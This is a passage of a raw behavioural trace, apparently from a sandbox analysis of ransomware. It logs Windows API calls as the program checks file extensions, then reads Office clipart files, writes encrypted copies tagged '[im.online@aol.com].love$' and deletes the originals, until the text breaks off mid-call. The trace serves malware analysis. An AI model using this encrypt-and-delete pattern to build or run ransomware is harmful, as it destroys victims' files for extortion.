[0277.086] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0277.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0277.086] lstrlenW (lpString=".1cd") returned 4 [0277.086] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0277.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0277.086] lstrlenW (lpString=".jpg") returned 4 [0277.086] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0277.086] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0277.086] lstrlenW (lpString="J0105502.WMF") returned 12 [0277.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0277.087] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=5472) returned 1 [0277.087] CloseHandle (hObject=0x488) returned 1 [0277.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf")) returned 0x220 [0277.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0277.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0277.088] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.089] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0277.090] GetLastError () returned 0x0 [0277.090] ReadFile (in: hFile=0x488, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x1560, lpOverlapped=0x0) returned 1 [0277.621] WriteFile (in: hFile=0x2f8, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x1570, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1570, lpOverlapped=0x0) returned 1 [0277.623] ReadFile (in: hFile=0x488, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0277.623] WriteFile (in: hFile=0x2f8, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0277.623] SetEndOfFile (hFile=0x2f8) returned 1 [0277.623] CloseHandle (hObject=0x2f8) returned 1 [0277.623] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.623] SetEndOfFile (hFile=0x488) returned 1 [0278.831] CloseHandle (hObject=0x488) returned 1 [0278.832] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0278.833] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf")) returned 1 [0278.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0278.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0278.835] lstrlenW (lpString=".doc") returned 4 [0278.835] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0278.835] lstrlenW (lpString=".docx") returned 5 [0278.835] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0278.835] lstrlenW (lpString=".pdf") returned 4 [0278.835] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0278.835] lstrlenW (lpString=".xls") returned 4 [0278.835] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0278.835] lstrlenW (lpString=".xlsx") returned 5 [0278.835] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0278.835] lstrlenW (lpString=".ppt") returned 4 [0278.835] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0278.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0278.836] lstrlenW (lpString=".zip") returned 4 [0278.836] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0278.836] lstrlenW (lpString=".rar") returned 4 [0278.836] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0278.836] lstrlenW (lpString=".bz2") returned 4 [0278.836] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0278.836] lstrlenW (lpString=".7z") returned 3 [0278.836] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0278.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0278.836] lstrlenW (lpString=".dbf") returned 4 [0278.836] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0278.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0278.836] lstrlenW (lpString=".1cd") returned 4 [0278.836] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0278.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0278.836] lstrlenW (lpString=".jpg") returned 4 [0278.836] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0278.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0278.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0278.836] lstrlenW (lpString=".doc") returned 4 [0278.836] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0278.836] lstrlenW (lpString=".docx") returned 5 [0278.836] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0278.836] lstrlenW (lpString=".pdf") returned 4 [0278.836] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0278.836] lstrlenW (lpString=".xls") returned 4 [0278.836] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0278.837] lstrlenW (lpString=".xlsx") returned 5 [0278.837] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0278.837] lstrlenW (lpString=".ppt") returned 4 [0278.837] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0278.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0278.837] lstrlenW (lpString=".zip") returned 4 [0278.837] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0278.837] lstrlenW (lpString=".rar") returned 4 [0278.837] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0278.837] lstrlenW (lpString=".bz2") returned 4 [0278.837] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0278.837] lstrlenW (lpString=".7z") returned 3 [0278.837] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0278.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0278.837] lstrlenW (lpString=".dbf") returned 4 [0278.837] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0278.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0278.837] lstrlenW (lpString=".1cd") returned 4 [0278.837] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0278.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0278.837] lstrlenW (lpString=".jpg") returned 4 [0278.837] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0278.837] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0278.838] lstrlenW (lpString="J0105506.WMF") returned 12 [0278.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0278.839] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2912) returned 1 [0278.839] CloseHandle (hObject=0x2fc) returned 1 [0278.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf")) returned 0x220 [0278.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0278.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0278.840] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.840] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0278.842] GetLastError () returned 0x0 [0278.842] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0xb60, lpOverlapped=0x0) returned 1 [0278.887] WriteFile (in: hFile=0x3f4, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xb70, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xb70, lpOverlapped=0x0) returned 1 [0278.888] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0278.888] WriteFile (in: hFile=0x3f4, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0278.888] SetEndOfFile (hFile=0x3f4) returned 1 [0278.900] CloseHandle (hObject=0x3f4) returned 1 [0278.900] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.900] SetEndOfFile (hFile=0x2fc) returned 1 [0279.047] CloseHandle (hObject=0x2fc) returned 1 [0279.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0279.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf")) returned 1 [0279.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0279.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0279.049] lstrlenW (lpString=".doc") returned 4 [0279.049] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0279.049] lstrlenW (lpString=".docx") returned 5 [0279.049] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0279.049] lstrlenW (lpString=".pdf") returned 4 [0279.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0279.050] lstrlenW (lpString=".xls") returned 4 [0279.050] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0279.050] lstrlenW (lpString=".xlsx") returned 5 [0279.050] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0279.050] lstrlenW (lpString=".ppt") returned 4 [0279.050] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0279.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0279.050] lstrlenW (lpString=".zip") returned 4 [0279.050] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0279.050] lstrlenW (lpString=".rar") returned 4 [0279.050] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0279.050] lstrlenW (lpString=".bz2") returned 4 [0279.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0279.050] lstrlenW (lpString=".7z") returned 3 [0279.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0279.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0279.050] lstrlenW (lpString=".dbf") returned 4 [0279.050] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0279.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0279.050] lstrlenW (lpString=".1cd") returned 4 [0279.050] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0279.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0279.050] lstrlenW (lpString=".jpg") returned 4 [0279.050] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0279.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0279.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0279.050] lstrlenW (lpString=".doc") returned 4 [0279.051] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0279.051] lstrlenW (lpString=".docx") returned 5 [0279.051] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0279.051] lstrlenW (lpString=".pdf") returned 4 [0279.051] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0279.051] lstrlenW (lpString=".xls") returned 4 [0279.051] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0279.051] lstrlenW (lpString=".xlsx") returned 5 [0279.051] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0279.051] lstrlenW (lpString=".ppt") returned 4 [0279.051] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0279.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0279.051] lstrlenW (lpString=".zip") returned 4 [0279.051] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0279.051] lstrlenW (lpString=".rar") returned 4 [0279.051] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0279.051] lstrlenW (lpString=".bz2") returned 4 [0279.051] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0279.051] lstrlenW (lpString=".7z") returned 3 [0279.051] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0279.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0279.051] lstrlenW (lpString=".dbf") returned 4 [0279.051] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0279.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0279.051] lstrlenW (lpString=".1cd") returned 4 [0279.051] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0279.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0279.051] lstrlenW (lpString=".jpg") returned 4 [0279.052] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0279.052] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0279.052] lstrlenW (lpString="J0105520.WMF") returned 12 [0279.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0279.056] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=31812) returned 1 [0279.056] CloseHandle (hObject=0x2fc) returned 1 [0279.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf")) returned 0x220 [0279.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0279.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0279.057] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.057] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0279.059] GetLastError () returned 0x0 [0279.059] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x7c44, lpOverlapped=0x0) returned 1 [0280.494] WriteFile (in: hFile=0x484, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x7c50, lpOverlapped=0x0) returned 1 [0280.496] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0280.496] WriteFile (in: hFile=0x484, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0280.496] SetEndOfFile (hFile=0x484) returned 1 [0280.496] CloseHandle (hObject=0x484) returned 1 [0280.496] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.496] SetEndOfFile (hFile=0x2fc) returned 1 [0280.502] CloseHandle (hObject=0x2fc) returned 1 [0280.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0281.112] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf")) returned 1 [0281.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0281.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0281.113] lstrlenW (lpString=".doc") returned 4 [0281.113] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.113] lstrlenW (lpString=".docx") returned 5 [0281.113] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0281.113] lstrlenW (lpString=".pdf") returned 4 [0281.113] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.113] lstrlenW (lpString=".xls") returned 4 [0281.113] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.113] lstrlenW (lpString=".xlsx") returned 5 [0281.114] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0281.114] lstrlenW (lpString=".ppt") returned 4 [0281.114] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0281.114] lstrlenW (lpString=".zip") returned 4 [0281.114] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.114] lstrlenW (lpString=".rar") returned 4 [0281.114] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.114] lstrlenW (lpString=".bz2") returned 4 [0281.114] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.114] lstrlenW (lpString=".7z") returned 3 [0281.114] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0281.114] lstrlenW (lpString=".dbf") returned 4 [0281.114] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0281.114] lstrlenW (lpString=".1cd") returned 4 [0281.114] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0281.114] lstrlenW (lpString=".jpg") returned 4 [0281.114] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0281.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0281.114] lstrlenW (lpString=".doc") returned 4 [0281.114] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.114] lstrlenW (lpString=".docx") returned 5 [0281.114] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0281.114] lstrlenW (lpString=".pdf") returned 4 [0281.114] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.114] lstrlenW (lpString=".xls") returned 4 [0281.114] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.114] lstrlenW (lpString=".xlsx") returned 5 [0281.114] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0281.114] lstrlenW (lpString=".ppt") returned 4 [0281.114] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0281.115] lstrlenW (lpString=".zip") returned 4 [0281.115] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.115] lstrlenW (lpString=".rar") returned 4 [0281.115] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.115] lstrlenW (lpString=".bz2") returned 4 [0281.115] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.115] lstrlenW (lpString=".7z") returned 3 [0281.115] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0281.115] lstrlenW (lpString=".dbf") returned 4 [0281.115] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0281.115] lstrlenW (lpString=".1cd") returned 4 [0281.115] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0281.115] lstrlenW (lpString=".jpg") returned 4 [0281.115] lstrcmpiW (lpString1=".jpg", 